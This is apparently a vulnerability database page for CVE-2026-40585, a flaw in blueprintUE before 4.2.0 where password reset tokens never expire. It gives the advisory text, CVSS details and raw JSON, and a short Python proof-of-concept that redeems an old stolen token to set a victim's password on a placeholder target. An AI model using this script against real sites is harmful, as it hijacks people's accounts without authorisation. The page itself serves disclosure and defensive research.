Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-40585 CVSS 7.4 HIGH

CVE-2026-40585

Published: 2026-04-21 17:16:56
Last Modified: 2026-04-22 21:16:28

Description

blueprintUE is a tool to help Unreal Engine developers. Prior to 4.2.0, when a password reset is initiated, a 128-character CSPRNG token is generated and stored alongside a password_reset_at timestamp. However, the token redemption function findUserIDFromEmailAndToken() queries only for a matching email + password_reset token pair β€” it does not check whether the password_reset_at timestamp has elapsed any maximum window. A generated reset token is valid indefinitely until it is explicitly consumed or overwritten by a subsequent reset request. This vulnerability is fixed in 4.2.0.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

blueprintUE < 4.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-40585 # This script demonstrates exploiting the infinite validity of password reset tokens. import requests TARGET_URL = "http://target-blueprintue.com/reset-password" VICTIM_EMAIL = "[email protected]" # An old token obtained long ago (leaked or stolen) OLD_RESET_TOKEN = "a1b2c3d4e5...128chars..." NEW_PASSWORD = "HackedPassword123!" def exploit_infinite_token(): # Payload to reset password using the old token payload = { "email": VICTIM_EMAIL, "token": OLD_RESET_TOKEN, "new_password": NEW_PASSWORD } try: # Sending the request to the password reset endpoint response = requests.post(TARGET_URL, data=payload) if response.status_code == 200 and "success" in response.text.lower(): print(f"[+] Exploit Successful! Password changed for {VICTIM_EMAIL}") print(f"[+] New Password: {NEW_PASSWORD}") else: print(f"[-] Exploit Failed or unexpected response.") print(response.text) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit_infinite_token()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40585", "sourceIdentifier": "[email protected]", "published": "2026-04-21T17:16:56.380", "lastModified": "2026-04-22T21:16:27.863", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "blueprintUE is a tool to help Unreal Engine developers. Prior to 4.2.0, when a password reset is initiated, a 128-character CSPRNG token is generated and stored alongside a password_reset_at timestamp. However, the token redemption function findUserIDFromEmailAndToken() queries only for a matching email + password_reset token pair β€” it does not check whether the password_reset_at timestamp has elapsed any maximum window. A generated reset token is valid indefinitely until it is explicitly consumed or overwritten by a subsequent reset request. This vulnerability is fixed in 4.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-640"}]}], "references": [{"url": "https://github.com/blueprintue/blueprintue-self-hosted-edition/security/advisories/GHSA-qr65-6vp8-whjf", "source": "[email protected]"}, {"url": "https://github.com/blueprintue/blueprintue-self-hosted-edition/security/advisories/GHSA-qr65-6vp8-whjf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}